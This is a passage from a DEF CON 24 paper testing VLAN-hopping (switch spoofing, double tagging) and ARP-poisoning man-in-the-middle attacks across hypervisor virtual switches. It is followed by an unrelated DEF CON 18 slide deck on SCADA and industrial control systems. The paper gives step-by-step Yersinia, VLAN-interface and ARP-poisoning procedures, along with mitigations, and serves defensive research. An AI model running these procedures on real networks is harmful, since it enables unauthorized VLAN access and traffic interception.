SUMMARY OF HYPERVISOR PLATFORMS AND VIRTUAL
SWITCH CONFIGURATIONS INSTALLED TO THE NEW HARDWARE.
Hypervisor Platform
Virtual Switch
Gentoo OS Xen 4.5.1
Linux 802.1d Bridging
Gentoo OS Xen 4.5.1
Open vSwitch 2.4.0
VMWare vSphere ESXi 6.0.0
Standard ESXi Virtual Switch
MS Server 2012 R2 DataCenter w/Hyper-V
Standard Hyper-V Virtual Switch
MS Server 2012 R2 DataCenter w/Hyper-V
Cisco Nexus 1000v 5.2(1)SM3(1.1a)
ProxMox 3.4 (KVM)
Linux 802.1d Bridging
Citrix XenServer 6.5.0
Open vSwitch 2.1.3
Kali 2.0 Standalone System
No virtual switch
IV.
ATTACKS PERFORMED
Three new Layer 2 networking attacks were explored and
thoroughly tested across all of the hypervisor environments
specified in Table I: VLAN hopping via Switch Spoofing,
VLAN hopping via Double Tagging and an ARP poisoning
Man-in-the-Middle attack. Each attack was performed iden-
tically on all platforms in order to analyze the differences
between the environments when subjected to the different
attack scenarios.
A. VLAN Hopping via Switch Spoofing
Switch
spoofing
is
an
attack
that
leverages
a
vulnerability[7]
in
physical
Cisco
switches
that
utilize
the proprietary Dynamic Trunking Protocol (DTP) in order
to automatically negotiate trunk links between switches.
The majority of modern Cisco switches have DTP enabled
by default on all ports out of the box so that trunk links
2
R. Bull, J. Matthews, K. Trumbull
DEF CON 24 - (August 2016)
can easily be formed automatically. If physical ports on a
Cisco switch are left in dynamic desirable mode, then an
attacker can connect a system via any free switch port and
fool the switch into thinking that their system is another
switch looking to negotiate a trunk link. If the attack is
successful and a trunk link is formed, the attacker will
have access to all of the VLANs associated with the trunk
thereby giving their system access to any system located
on any of the corresponding VLANs. This attack has been
well documented against physical networks in previous work
performed by Cisco[8] and the SANS Institute[9]. There is
also a powerful open source Layer 2 networking security
auditing tool available called Yersinia[10] that can automate
such a DTP attack against a switched Cisco network.
In this section, we discuss our evaluation of the effec-
tiveness of executing a similar switch spoofing attack from
a virtual machine. We attempt this attack within each of seven
test environments connected to a Cisco 2950 switch on the
physical network. For comparison, we begin with a control
scenario in which we connected our physical Kali 2.0 system
to a port on the Cisco 2950 switch to verify that the switch port
can be successfully changed from dynamic desirable mode to
trunking mode, and then moved on to evaluating if the same
attack works when executed from a virtual machine connected
to a virtual switch with an uplink to the same physical Cisco
2950 switch.
We adhere to the best practices guides[11], [12], [13]
offered by the hypervisor manufacturers when setting up
the physical switch ports connected to each virtual switch
environment. Each of these guides suggests that the switch
port be manually setup as a trunk port with access to each of
the VLANs required for the virtual machines hosted within the
environment. When testing the attack from each of the virtual
networks, we made sure to convert the port that was connected
to the system hosting the attacking virtual machine back to
dynamic desirable mode from trunk mode in order to see if the
virtual machine could successfully convert the physical switch
port into trunk mode from the virtual network. In this case,
we are suggesting that when the administrator connected the
hypervisor environment to the physical switch they neglected
to follow the best practices guide and never actually changed
the switch port leaving it at its default setting of dynamic
desirable. Figure 3 illustrates the control scenario using the
physical Kali 2.0 system, and Figure 4 illustrates the scenario
where the attacker is using a Kali 2.0 virtual machine located
within one of the seven virtual test environments.
Fig. 3.
Switch spoofing control scenario using a physical Kali 2.0 system
to perform a DTP attack on a physical Cisco 2950 switch in order to gain
unauthorized access to virtual machines on restricted VLANs.
We utilized the Yersinia tool via SSH in command line
mode on each of the attacking systems in order to perform the
attack. The attack process was straight forward and consisted
of the following steps:
Fig. 4.
Switch spoofing scenario where the attack is generated from a virtual
machine connected to a virtual switched environment that has a physical uplink
to a Cisco 2950 switch in order to gain unauthorized access to other virtual
machines located on restricted VLANs within other hypervisor environments.
1)
First the Yersinia application was loaded at the com-
mand line with yersinia -I.
2)
Then the proper network interface was selected to
use for the attack, in all cases the default network
interface was used.
3)
Yersinia was then changed to DTP mode by pressing
’g’ and selecting ’DTP Mode’.
4)
The attack was then conducted by pressing the ’x’ key
and selecting option ’1’ to enable trunking mode.
If the attack was successful, the Yersinia application dis-
played TRUNK/AUTO in the DTP mode interface, otherwise
if the attack failed ACCESS/DESIRABLE was displayed. We
also verified if the attack worked by observing the interface
and trunk status for the respective port associated with the
attacking system on the Cisco switch by using the commands
sh int status and sh int trunk from the console. This allowed
us to see if the switch port was successfully converted into
trunking mode or not. If the port was converted into trunking
mode then the word trunk would be displayed under the VLAN
column in the output of sh int status, and the interface would
also appear in the trunk list with the word auto next to it in
the output of sh int trunk.
The results of this attack varied across the different virtual
network environments as shown in Table II. The control test
from the physical Kali 2.0 system worked as expected and
the port was put into trunking mode from dynamic desirable
mode thus granting access to all of the virtual machines that
were associated with VLANs available on the trunk. We simply
loaded the 8021q kernel module on the attacking system,
associated the target VLAN to the network interface and
provided a valid IP address to the newly created VLAN tagged
interface on the system. The following commands were used
in order to set up this interface. Note that in this example the
VLAN being targeted has the VLAN ID of 20.
modprobe 8021q
vconfig add eth0 20
ifconfig eth0.20 192.168.1.10 netmask 255.255.255.0 up
This created a new network interface on the system labeled
eth0.20 which could be used to access the target systems
located within the isolated VLANs on each of the virtual
networks. The same process was used when testing from
the virtual machines in order to validate the attack. Table
II provides a summary of the results of the switch spoofing
experiments.
The attack worked in the control scenario as well as three
out of the seven virtual network environments. We see that if a
virtual environment utilized a virtual bridged interface for vir-
tual machine network connectivity the attack was successful,
3
R. Bull, J. Matthews, K. Trumbull
DEF CON 24 - (August 2016)
TABLE II.
SWITCH SPOOFING ATTACK RESULTS ACROSS THE SEVEN
VIRTUAL TEST ENVIRONMENTS AND A PHYSICAL CONTROL SYSTEM.
3INDICATES THE ATTACK WAS SUCCESSFUL.
Results of Attack
Negotiate
Unauthorized
Platform
Trunk Link
VLAN Access
Physical Kali 2.0 Control System
3
3
OS Xen w/ Linux Bridging
3
3
OS Xen w/ Open vSwitch
VMWare vSphere ESXi
3
3
MS Hyper-V Standard vSwitch
MS Hyper-V Cisco Nexus 1000v
Proxmox
3
3
Citrix XenServer
while environments that utilized a virtual switch for network
connectivity prevented the attack from occurring. It can also be
seen that the ESXi standard virtual switch allowed the attack
to occur, indicating that this virtual switch is acting more like
bridge than a switch. We have posted a demo video[14] of the
successful attack from the ESXi environment to YouTube in
order to document the process that was used on each of the
seven environments for this experiment.
These results were a bit surprising since this attack is
specific to a Cisco proprietary protocol and one would think
that the attack would not be allowed to be passed from the
virtual network to the physical switch as the DTP probes
should be blocked. This was the case for each of the virtual
switched environments since they were not compatible with
the DTP protocol. However, the bridged interfaces also acted
as a pass through allowing the attack to traverse through the
virtual network and affect the physical switch.
We attempted to perform the attack directly against the
Cisco Nexus 1000v switch to see if its virtual interfaces
could be converted to trunking mode. When configuring the
Nexus 1000v per the deployment guides[15], [16], we found
that even connecting a virtual machine to the virtual switch
required virtual subnets and policies that restricted which
networks the virtual machines could access. This prevented
the establishment of a trunk connection between the virtual
machine and the Cisco Nexus 1000v virtual switch.
Switch spoofing attacks can be mitigated on physical Cisco
switches by following a few best practices such as disabling
unused switch ports to prevent unauthorized physical access to
the switch as well as disabling the Dynamic Trunking Protocol
on all ports. Limiting VLAN access on trunk connections is
also a wise preventative action to reduce the likelihood of an
attacker gaining unauthorized access to all of the VLANs on
the network. Because DTP is a Cisco proprietary protocol,
another way to mitigate this attack is to not use Cisco switches
in the physical network.
In terms of virtual networks connected to physical Cisco
switches within a data center, it is important to recognize that
this attack will work if the virtual network uses a bridged
interface for virtual machine connectivity. In order to prevent
this from occurring, administrators could either convert the
virtual network to a secure virtual switched environment or
lock down the physical switch to which the virtual platform
is connected. The port could be secured by following best
practices and ensuring that it is in trunk mode, and only has
access to the specific VLANs that are required for the virtual
network. Access to the native VLAN within the physical
environment should also be blocked by removing it from the
trunk VLAN access list on that specific port.
B. VLAN Hopping - Double Tagging
The VLAN hopping Double-Tagging or Double-Tagging
VLAN jumping attack is an attack that leverages an inherent
vulnerability in the 802.1q VLAN protocol[17] which allows
an attacker to bypass network segmentation and spoof VLAN
traffic by manipulating an Ethernet frame so that it contains
two 802.1q VLAN tags. This attack requires two switches with
a trunk connection established between them to be present in
between the attacking system and the target system. When
the Ethernet frame is pushed through the first switch the first
802.1q VLAN tag is stripped from the frame leaving only the
second 802.1q VLAN tag. This tricks the second switch into
thinking that the frame is destined for the target VLAN and it
allows the frame to be forwarded on to the destination. One
thing to note about this attack is that it is one-way unlike
the switch spoofing attack described previously which allows
for two-way communication between the attacking system and
the target. By leveraging this vulnerability an attacker can
send frames to target systems on isolated VLANs in order to
perform denial of service attacks or create a one-way covert
channel between the attacker and the target system.
We explored three different scenarios in order to evaluate
the effectiveness of this attack within virtualized environments.
All three scenarios require the use of at least one physical
switch located between the attacking system and the virtualized
network that is being targeted. Figure 5 depicts the attack
scenario where an attacker is using a physical Kali 2.0 system
attached to a physical switch which has a trunk connection to
a second physical switch with an established trunk link to each
of the hypervisor environments.
Fig. 5. Double tagging scenario where the attack is generated from a physical
Kali 2.0 system connected to a Cisco 2950 switch with a second Cisco 2950
switch located in between the first Cisco switch and the connected hypervisor
environments.
The second scenario as depicted in Figure 6 still uses a
physical Kali 2.0 system for the attack, however only a single
physical switch sits in between the attacker and the virtual
network.
In the third scenario, as illustrated in figure 7, the attacking
system is a virtual machine connected to one of the seven
virtual test networks that is trying to send a frame to a target
system on another one of the virtual networks with a physical
switch positioned in between both host systems.
4
R. Bull, J. Matthews, K. Trumbull
DEF CON 24 - (August 2016)
Fig. 6. Double tagging scenario where the attack is generated from a physical
Kali 2.0 system connected to a Cisco 2950 switch in order to gain unauthorized
access to virtual machines located on restricted VLANs within connected
hypervisor environments.
Fig. 7.
Double tagging scenario where the attack is generated from a Kali
2.0 virtual machine within one of the connected virtual networks. A physical
Cisco 2950 switch acts as the physical connectivity device located between
each of the connected virtual networks.
To verify that the double-tagging VLAN hopping attack
would work across the two Cisco 2950 switches we performed
a test using two physical systems which served as a control
for the rest of the experiments. The scenario depicted in figure
5 was used with the virtual machine target being replaced
with a CentOS 7 physical system connected to an access port
on VLAN 20 on the second switch. The attack worked as
expected, and we were able to send a frame from the attacking
system located on VLAN 1 on the first switch to the target
system located on VLAN 20 on the second switch.
The process that we used to evaluate the double-tagging
attack throughout each of the scenarios remained the same. The
only difference between the scenarios was the configuration
of the network devices. We used the Yersinia tool on the
attacking system in order to craft an ICMP request frame which
consisted of two VLAN tags that was sent across the network.
If the attack was successful we could view the ICMP request
in tcpdump[18] on the target system which was located on
a different VLAN than the attacker. The following process
was used against all seven hypervisor environments in each
scenario:
1)
Connect to attacker system. (SSH was used to access
the physical attacking system, and in the case of a
virtual attacker the console connection was used).
2)
Connect to the target system via the virtual machine
console.
3)
Connect to the console on each Cisco 2950 switch
used in the experiment.
4)
Verify switch port settings to confirm trunk and
access port configurations.
5)
Run yersinia -I on attacking system.
6)
Select the network interface to be used by pressing
’i’.
7)
Select 802.1Q mode by pressing ’g’.
8)
Edit the IP address and VLAN information used for
the attack by pressing ’e’.
9)
Run tcpdump in a terminal window on the target
system and filter for ICMP traffic.
10)
Launch the attack from the attacker system by press-
ing ’x’ then ’1’ to send the double tagged packet to
the target.
We have documented the process for each of the three
scenarios in a series of demo videos that have been posted to
YouTube. The first video[19] highlights the attack as depicted
in figure 5, where the attacker is using a physical Kali system
with two Cisco 2950 switches located in between the attacking
system and the target virtual machine. The target virtual
machine in this case is a system located within the ProxMox
hypervisor environment. The second video[20] illustrates the
scenario where there is only a single Cisco 2950 switch located
in between the physical attacking system and the target virtual
machine as shown in figure 6. In this scenario the target virtual
machine is located within the Microsoft Server 2012 Hyper-
V environment using the Cisco Nexus 1000v virtual switch.
In the third video[21] the attack is originated from a virtual
machine located in the Citrix XenServer virtual environment
and the target system is a virtual machine in the ProxMox
environment. Both of the virtual networks are connected to
trunk ports on a single Cisco 2950 switch as depicted in figure
7.
The results of the first two scenarios that utilized a physical
attacking system are summarized in table III. The attack
worked in both scenarios against every hypervisor environment
other than the Microsoft Server 2012 Hyper-V environment
which used the standard Hyper-V virtual switch. This was
expected since once the double tagged frame passed through
the trunk connection between the two physical switches the
first VLAN tag was stripped and the frame was forwarded
on to the second Cisco 2950 switch with only the second
VLAN tag. At this point, the manipulation of the frame was
complete, and any hypervisor environment connected to the
second switch running a virtual machine on the target VLAN
should have been able to see the frame.
In the single switch scenario, the virtual switch was the
second switching device trunked with the Cisco 2950. The
attack depends on the trunk link supporting the same native
VLAN on both switches as well as both switches using 802.1q
encapsulation for trunking. For that reason, it is especially
interesting to see that the attack was effective against the
majority of the virtual networks tested. The Microsoft Hyper-
V environment configured with the standard virtual switch,
however, was unaffected in both scenarios due to the same
reason that prevented the MAC flooding attacks from working
in our previous white paper[4]. The Hyper-V virtual switch
also provided some minimal protection for virtualized net-
work traffic which included protection against MAC address
spoofing[22]. Since the Yersinia tool uses MAC address spoof-
ing for the double-tagging attack the protection offered by the
virtual switch prevented the traffic from entering the virtual
network and reaching the target virtual machine.
Table IV summarizes the results of the third scenario where
the attack is launched from a virtual machine located within
one of the seven test environments, and the target system is
another virtual machine located within a different hypervisor
environment. In this scenario, we are testing to see if the attack
can be successfully launched from within a virtual network. As
can be seen by the results, the attack was successful in four
out of the seven test environments. Any hypervisor using either
802.1d Linux bridging or Open vSwitch for virtual networking
was vulnerable.
These experiments provide strong evidence that double-
5
R. Bull, J. Matthews, K. Trumbull
DEF CON 24 - (August 2016)
TABLE III.
PHYSICAL DOUBLE-TAGGING ATTACK SCENARIO RESULTS
ACROSS THE SEVEN VIRTUAL TEST ENVIRONMENTS. 3INDICATES THAT A
FRAME WAS SUCCESSFULLY SENT FROM THE PHYSICAL ATTACKING
SYSTEM TO A TARGET VIRTUAL MACHINE LOCATED ON VLAN 20 WITHIN
THE CORRESPONDING HYPERVISOR ENVIRONMENT.
Results of Attack
Platform
Single Switch
Double Switch
OS Xen w/ Linux Bridging
3
3
OS Xen w/ Open vSwitch
3
3
VMWare vSphere ESXi
3
3
MS Hyper-V Standard vSwitch
MS Hyper-V Cisco Nexus 1000v
3
3
Proxmox
3
3
Citrix XenServer
3
3
TABLE IV.
VIRTUAL DOUBLE-TAGGING ATTACK SCENARIO RESULTS
ACROSS THE SEVEN VIRTUAL TEST ENVIRONMENTS. 3INDICATES THAT A
FRAME WAS SUCCESSFULLY SENT FROM THE VIRTUAL ATTACKING
SYSTEM TO A TARGET SYSTEM LOCATED WITHIN A SEPARATE VIRTUAL
NETWORK ON VLAN 20.
Results of Attack
Platform
Virtual Switch
OS Xen w/ Linux Bridging
3
OS Xen w/ Open vSwitch
3
VMWare vSphere ESXi
MS Hyper-V Standard vSwitch
MS Hyper-V Cisco Nexus 1000v
Proxmox
3
Citrix XenServer
3
tagging VLAN hopping attacks should be considered a serious
threat to virtualized environments. In order to protect the
virtual machines located within these environments, we have
some specific suggestions for configuring the physical switches
to which the hypervisors are connected. Administrators should
avoid assigning any hosts to the native VLAN (typically VLAN
1) on any physical switches that are serving as uplinks for
virtual networks. If VLANs are to be used within hypervisor
environments for virtual machines, it is necessary to connect
the virtual switch to a trunk port on the physical switch. This
trunk port should not be configured to carry native VLAN
traffic since the double-tagging attack depends on having
access to the native VLAN in order to get that first 802.1q tag
stripped out of the frame. Our results show that even though the
double-tagging attack requires two switches to be successful a
virtual switch could easily act as the second switch allowing
the attack to reach the target destination. As of right now, it is
not possible to configure the virtual switch to stop these attacks
so it is important to focus on making sure that the switches that
connect the virtual networks to the physical world are secure.
C. ARP Poisoning Man-in-the-Middle Attack
The Address Resolution Protocol (ARP) is a Layer 2
networking protocol that is used to map the physical MAC
addresses of connected devices within a broadcast domain to
their logical Layer 3 IP addresses. Each device on the network
maintains an ARP cache which is a table that is dynamically
updated when a device discovers other devices located within
the same Layer 2 network. When a system is initially placed
on a network, the ARP cache is empty and is filled with new
entries as the system begins to communicate with other sys-
tems either directly or via broadcast transmissions. Typically,
the first entry added to the ARP cache is the default gateway
for the network. The process of updating the ARP table is
rather simple. If a system on a network does not know the
physical MAC address of another system within the broadcast
domain, it will send out a broadcast transmission to every
connected device asking who has that specific Layer 3 IP
address. Once the system that is assigned the target Layer 3
IP address receives the Layer 2 ARP broadcast, it sends a
unicast reply back to the requesting system with its physical
Layer 2 MAC address. The requesting system then updates its
ARP cache so that it does not need to send out the broadcast
request again when it needs to establish future connections to
that particular system.
The ARP protocol has been proven to be vulnerable to
Man-in-the-Middle attacks[23], [24] where an attacker can
manipulate the ARP cache on a target system in order to place
themselves in the middle of the communication stream to either
sniff or manipulate the traffic going between the systems. This
attack is so well known that open source tools[25], [26] have
been developed to make it very easy for an attacker to take
advantage of the vulnerability.
We tested the effects of an ARP poisoning Man-in-the-
Middle attack on each of the virtual network configurations
within our test environment. In order to conduct the experi-
ments, each hypervisor environment was allocated two Kali
2.0 virtual machines and a CentOS 7 router system that acted
as the default gateway for the virtual network providing access
to the Internet. One of the Kali 2.0 virtual machines was setup
as the attacking system and the other was the target system.
The goal of the experiment was to poison the ARP cache of
both the target Kali 2.0 virtual machine and the default gateway
in order to place the attacking Kali 2.0 system in the middle
of the communication stream and sniff the traffic going from
the target system through the default gateway to the Internet.
Figure 8 provides a network diagram of the attack scenario
illustrating the traffic paths from the target system before and
after the attack.
In order to streamline the attacks across our seven test
environments we opted to use a modified version of the ARP
cache poisoning Python/Scapy script found in the Black Hat
Python[27] book, and a simple custom BASH script using
tcpdump to monitor the sniffed traffic. The scripts allowed us
to effectively automate the experiments through SSH within
each of the hypervisor environments. The following procedure
was performed within each virtualized environment in order to
evaluate the effects of the attack within the respective virtual
network:
1)
Open an SSH terminal connection to each virtual
machine (router, target, and attacker).
2)
Run arp -a on each virtual machine in order to
document the initial ARP cache state.
3)
Enable IP forwarding on the attacker system (echo 1
>/proc/sys/ipv4/ip forward).
6
R. Bull, J. Matthews, K. Trumbull
DEF CON 24 - (August 2016)
Fig. 8.
ARP poisoning Man-in-the-Middle attack scenario diagram.
4)
Run the Python/Scapy script on the attacker system
to poison the ARP cache of both the router and target
systems.
5)
Run arp -a again on each virtual machine in order to
document the modified ARP cache state.
6)
Run a continuous ping from the target system to
www.google.com.
7)
The Python/Scapy script sets up a sniffer to collect
the traffic and dumps it to a pcap file, then when
finished it restores the ARP cache back to normal on
the router and target systems.
8)
Run arp -a again on each virtual machine in order to
document the restored ARP cache state.
9)
Run the tcpdump script on the pcap file to view the
results.
We have posted narrated demo videos of the ARP poison-
ing Man-in-the-Middle attack experiments within the VMWare
ESXi[28] and the Microsoft Hyper-V/Cisco Nexus 1000v[29]
environments to YouTube to document the process. Table V
summarizes the results of the experiment across each of the
virtualized platforms that were tested. As can be seen by
the results, the attack was successful in each of the seven
environments allowing an attacker to manipulate the ARP
cache tables of any virtual machine located within the same
broadcast domain on the virtual network.
TABLE V.
ARP POISONING MAN-IN-THE-MIDDLE ATTACK RESULTS
ACROSS THE SEVEN VIRTUAL TEST ENVIRONMENTS. 3INDICATES THE
PLATFORM WAS AFFECTED.
Results of Attack
Manipulate
Eavesdropping
Platform
ARP Cache
Allowed
OS Xen w/ Linux Bridging
3
3
OS Xen w/ Open vSwitch
3
3
VMWare vSphere ESXi
3
3
MS Hyper-V Standard vSwitch
3
3
MS Hyper-V Cisco Nexus 1000v
3
3
Proxmox
3
3
Citrix XenServer
3
3
Out-of-the-box, all the virtual network environments that
we tested provide no protection against this type of attack. In
order to mitigate an ARP cache poisoning attack on a physical
network, specifically within Cisco switches, an administrator
may make use of DHCP Snooping and Dynamic ARP In-
spection (DAI), with DHCP Snooping being a prerequisite for
enabling DAI[24]. Dynamic ARP Inspection is effective at
mitigating ARP based attacks because it intercepts all ARP
requests and responses, and verifies their authenticity prior to
forwarding the traffic to the destination[24]. Currently none
of the virtual networks that were tested provide this level of
functionality, though it is available in the advanced (non-free)
version of the Cisco Nexus 1000v virtual switch. There are
however utilities available that could be run as a service on a
separate system running on the virtual network to monitor for
changes in ARP activity on the network. An open source Linux
service called arpwatch can be setup to monitor the network
for changes in MAC address and IP address pairings and alert
a network administrator via email when changes occur[30].
V.
RELATED WORK
There has already been a substantial amount of work study-
ing the vulnerability of physical networks to Layer 2 attacks
[8], [9], [31], [32], [33], but the impact on virtual networks has
not received as much attention. This is beneficial in the fact that
published research previously performed on physical networks
can serve as a model for testing in virtual environments and
comparisons can be made based upon the physical baselines.
For instance, Yeung et al.[31] provide an overview of the most
popular Layer 2 networking attacks as well as descriptions of
the tools used to perform them. This work was very helpful
in identifying possible attack vectors that could be emulated
within a virtualized environment. Altunbasak et al.[32] also
describe various attacks that can be performed on local and
metropolitan area networks, as well as the authors’ idea of
adding a security tag to the Ethernet frame for additional
protection. Cisco also published a white paper[8] regarding
VLAN security in their Catalyst series of switches. The paper
discloses testing that was performed on the switches in August
of 2002 by an outside security research firm @stake which
was acquired by Symantec in 2004. In the white paper, they
discussed many of the same attacks that were mentioned by
Yeung et al.[31], however the authors also went into detail
about best practices and mitigation techniques that could be
implemented on the physical switches in order to prevent the
attacks from being successful.
VI.
FUTURE WORK
Going forward, we are especially interested in working
with cloud service providers and data center operators to assess
the vulnerability of their environments to the Layer 2 attacks
that we have discussed this paper as well as in our previous
work[4], [34]. Understandably, it is unacceptable to run such
experiments without the permission and cooperation of the
service provider. We hope that these results highlight that users
should have the right to ask service providers to document
what additional defenses - either prevention or detection - if
any they are providing to protect users from these types of
attacks on their systems.
7
R. Bull, J. Matthews, K. Trumbull
DEF CON 24 - (August 2016)
VII.
CONCLUSION
This study and the work we presented at DEF CON
23 demonstrates the degree to which virtual switches are
vulnerable to Layer 2 network attacks, as well as the effect that
these attacks could have on the physical network infrastructure
to which the virtual switches are connected. The Layer 2
vulnerabilities described in this paper are directed towards
the virtual networking devices and not the hypervisor and
without additional mitigation or preventive measures, could
be performed on any host running a virtual switch including
in a multi-tenant environment.
We have performed an extensive Layer 2 security as-
sessment on the state of virtual networking devices. In their
current state, virtual switches pose the same liability as their
physical counterparts in terms of network security. However,
the lack of sophisticated Layer 2 security controls like those
present on enterprise grade physical switches increase the level
of difficulty in securing these environments. One malicious
virtual machine performing any one of these Layer 2 attacks
against the virtual switch could be able to sniff, redirect, or
prevent traffic from passing over that virtual switch, potentially
compromising the confidentiality, integrity, and availability of
co-located clients.
REFERENCES
[1]
J. Pettit, J. Gross, B. Pfaff, M. Casado, and S. Crosby, “Virtual switching
in an era of advanced edges,” in ITC 22 2nd Workshop on Data Center
- Converged and Virtual Ethernet Switching (DC-CAVES), 2010.
[2]
B. Pfaff, J. Pettit, T. Koponen, K. Amidon, M. Casado, and S. Shenker,
“Extending networking into the virtualization layer,” in HotNets-VIII,
2009.
[3]
Cisco Systems, Inc. Cisco nexus 1000v series switches for vmware
vsphere data sheet. [Online]. Available: http://www.cisco.com/en/US/
prod/collateral/switches/ps9441/ps9902/data sheet c78-492971.html
[4]
R.
L.
Bull
and
J.
N.
Matthews.
Exploring
layer
2
network
security
in
virtualized
environments.
[Online].
Available:
https://media.defcon.org/DEF%20CON%2023/DEF%20CON%
2023%20presentations/DEFCON-23-Ronny-Bull-Jeanna-Matthews-
Exploring-Layer-2-Network-Security-In-Virtualized-Enviroments-
WP.pdf
[5]
R. Seifert and J. Edwards, The All-New Switch Book.
Indianapolis,
Indiana: Wiley Publishing, Inc., 2008.
[6]
LAN MAN Standards Committee, IEEE Standard for Local and
Metropolitan Area Networks: Media Access Control (MAC) Bridges.
New York, NY: The Institute of Electrical and Electronics Engineers,
Inc., 2004.
[7]
National Vulnerability Database. Vulnerability summary for cve-1999-
1129. [Online]. Available: http://www.cvedetails.com/cve/CVE-1999-
1129/
[8]
Cisco
Systems,
Inc.
Vlan
security
white
pa-
per
[cisco
catalyst
6500
series
switches].
[Online].
Available:
http://www.cisco.com/en/US/products/hw/switches/ps708/
products white paper09186a008013159f.shtml#wp39211
[9]
S. Rouiller. Virtual lan security: weaknesses and countermeasures.
[Online].
Available:
http://www.sans.org/reading-room/whitepapers/
networkdevs/virtual-lan-security-weaknesses-countermeasures-1090
[10]
A. A. Omella and D. B. Berrueta. Yersinia. [Online]. Available:
http://www.yersinia.net/
[11]
Citrix. Xenserver vlan networking. [Online]. Available: http://support.
citrix.com/article/CTX123489
[12]
VMWare.
Sample
configuration
of
virtual
switch
vlan
tagging.
[Online].
Available:
https://kb.vmware.com/selfservice/microsites/
search.do?language=en US&cmd=displayKC&externalId=1004074
[13]
A.
Fazio.
Understanding
hyper-v
vlans.
[Online].
Available:
https://blogs.msdn.microsoft.com/adamfazio/2008/11/14/
understanding-hyper-v-vlans/
[14]
R. L. Bull. Switch spoofing attack against a cisco 2950 switch from
the vmware esxi 6.0 hypervisor environment. [Online]. Available:
https://youtu.be/mMGezerlg9c
[15]
K.
Holman.
Scvmm
2012
r2
quickstart
deployment
guide.
[Online]. Available: https://blogs.technet.microsoft.com/kevinholman/
2013/10/18/scvmm-2012-r2-quickstart-deployment-guide/
[16]
Cisco
Systems,
Inc.
Installing
the
cisco
nexus
1000v.
[Online].
Available:
http://www.cisco.com/c/en/us/td/docs/switches/
datacenter/nexus1000/hyperv/sw/5 2 1 s m 3 1 1/install-and-
upgrade/guide/n1000v gsg/n1000v gsg 1 HV install.html
[17]
CVE Details. Vulnerability details: Cve-2005-4440. [Online]. Available:
http://www.cvedetails.com/cve/CVE-2005-4440/
[18]
Tcpdump Project. Tcpdump & libpcap. [Online]. Available: http:
//tcpdump.org
[19]
R. L. Bull. Double tagging vlan hopping attack against the proxmox
virtual network using two physical switches. [Online]. Available:
https://youtu.be/V2Ht-GB4NbE
[20]
——. Double tagging vlan hopping attack against the hyper-v cisco
nexus 1000v virtual network using a single physical switch. [Online].
Available: https://youtu.be/np46KuXpk9c
[21]
——. Double tagging vlan hopping attack between two virtual
networks connected to a cisco 2950 switch. [Online]. Available:
https://youtu.be/jJDBJRoukIo
[22]
Microsoft. Hyper-v virtual switch overview. [Online]. Available:
http://technet.microsoft.com/en-us/library/hh831823.aspx
[23]
Department
of
Homeland
Security.
Alert
(ta15-120a)
securing
end-to-end
communications.
[Online].
Available:
https://www.us-
cert.gov/ncas/alerts/TA15-120A
[24]
Cisco Systems, Inc. Arp poisoning attack and mitigation techniques.
[Online]. Available: http://www.cisco.com/c/en/us/products/collateral/
switches/catalyst-6500-series-switches/white paper c11 603839.html
[25]
C.
M.
Sheilds
and
M.
M.
Toussain.
Subterfuge:
The
automated
man-in-the-middle
framework.
[Online].
Avail-
able:
https://www.defcon.org/images/defcon-20/dc-20-presentations/
Toussain-Shields/DEFCON-20-Toussain-Shields-Subterfuge-WP.pdf
[26]
A. Ornaghi and M. Valleri. The ettercap project. [Online]. Available:
https://ettercap.github.io/ettercap/
[27]
J. Seitz, Black Hat Python. San Francisco, California: No Starch Press,
2015.
[28]
R. L. Bull. Arp poisoning attack in the vmware esxi 6.0 hypervisor
environment. [Online]. Available: https://www.youtube.com/watch?v=
1h-pbTktCwI&feature=youtu.be
[29]
——.
Arp
poisoning
attack
in
ms
server
2012
hyperv
using
the cisco nexus 1000v virtual switch. [Online]. Available: https:
//www.youtube.com/watch?v=F6X9GsmOwbY&feature=youtu.be
[30]
Lawrence Berkeley National Laboratory. arpwatch linux man page.
[Online]. Available: http://linux.die.net/man/8/arpwatch
[31]
K.-H. Yeung, D. Fung, and K.-Y. Wong, “Tools for attacking layer 2
network infrastructure,” in IMECS ’08 Proceedings of the International
MultiConference of Engineers and Computer Scientists, 2008, pp. 1143–
1148.
[32]
H. Altunbasak, S. Krasser, H. L. Owen, J. Grimminger, H.-P. Huth,
and J. Sokol, “Securing layer 2 in local area networks,” in ICN’05
Proceedings of the 4th international conference on Networking - Volume
Part II, 2005, pp. 699–706.
[33]
K.
Lauerman
and
J.
King.
Stp
mitm
attack
and
l2
mitigation
techniques
on
the
cisco
catalyst
6500.
[Online].
Available:
http://www.cisco.com/c/en/us/products/collateral/switches/
catalyst-6500-series-switches/white paper c11 605972.pdf/
[34]
R. L. Bull. Derbycon 4.0: Exploring layer 2 network security in
virtualized environments. [Online]. Available: http://youtu.be/tLrNh-
34sKY
8 | pdf |
SCADA and ICS for
Security Experts:
How to Avoid Cyberdouchery
James Arlen, CISA
DEF CON 18 - Las Vegas - 2010
1
Disclaimer
I am employed in the Infosec industry,
but not authorized to speak on behalf
of my employer or clients.
Everything I say can be blamed on
great food, mind-control and jet lag.
2
Credentials
15+ years information security specialist
staff operations, consultant, auditor, researcher
utilities vertical (grid operations, generation, distribution)
financial vertical (banks, trust companies, trading)
some hacker related stuff like game show host, etc.
...still not an expert at anything.
3
1/ Stop Sounding Stupid
4
Scada
got
sexy
5
Follow
the
money
6
Who's
an
expert
now?
7
One
time
at
security
camp
8
Gotta
get
me
a
piece
of
that
9
Gotta
get
me
a
piece
of
that
10
2/ Big Things and
Little Things
11
Not all ‘scada’ is SCADA
12
Big things:
power grid
13
Big things:
pipeline
14
Inter-
connected
sensors and
controls
under
central
management
15
Inter-
connected
sensors and
controls
under
central
management
16
Supervisory control and
data acquisition
17
Little
Things:
chemical plant,
power plant,
manufacturing
facility
18
Little
Things:
chemical plant,
power plant,
manufacturing
facility
19
Little
Things:
chemical plant,
power plant,
manufacturing
facility
20
Little
Things:
chemical plant,
power plant,
manufacturing
facility
21
Little
Things:
chemical plant,
power plant,
manufacturing
facility
22
Little
Things:
chemical plant,
power plant,
manufacturing
facility
23
Lots of
individual
capabilities
with some
orchestration
24
Programmable
logic
controllers
25
Programmable
logic
controllers
26
Programmable
logic
controllers
27
Industrial control systems/
Distributed control systems
28
3/ Part of a Bigger Picture
29
So if you
break the
computer,
you break
everything
30
What
happens
when Edna
falls into the
reactant
vessel
31
This is the data
32
This is the data
33
This is the process
34
This is the process
35
This is the process
36
I know you
can grok
the protocol,
can you
break the
controls?
37
I know you
can grok
the protocol,
can you
break the
controls?
38
Oh, you
forgot about
safety
39
Oh, you
forgot about
safety
40
Oh, you
forgot about
testing
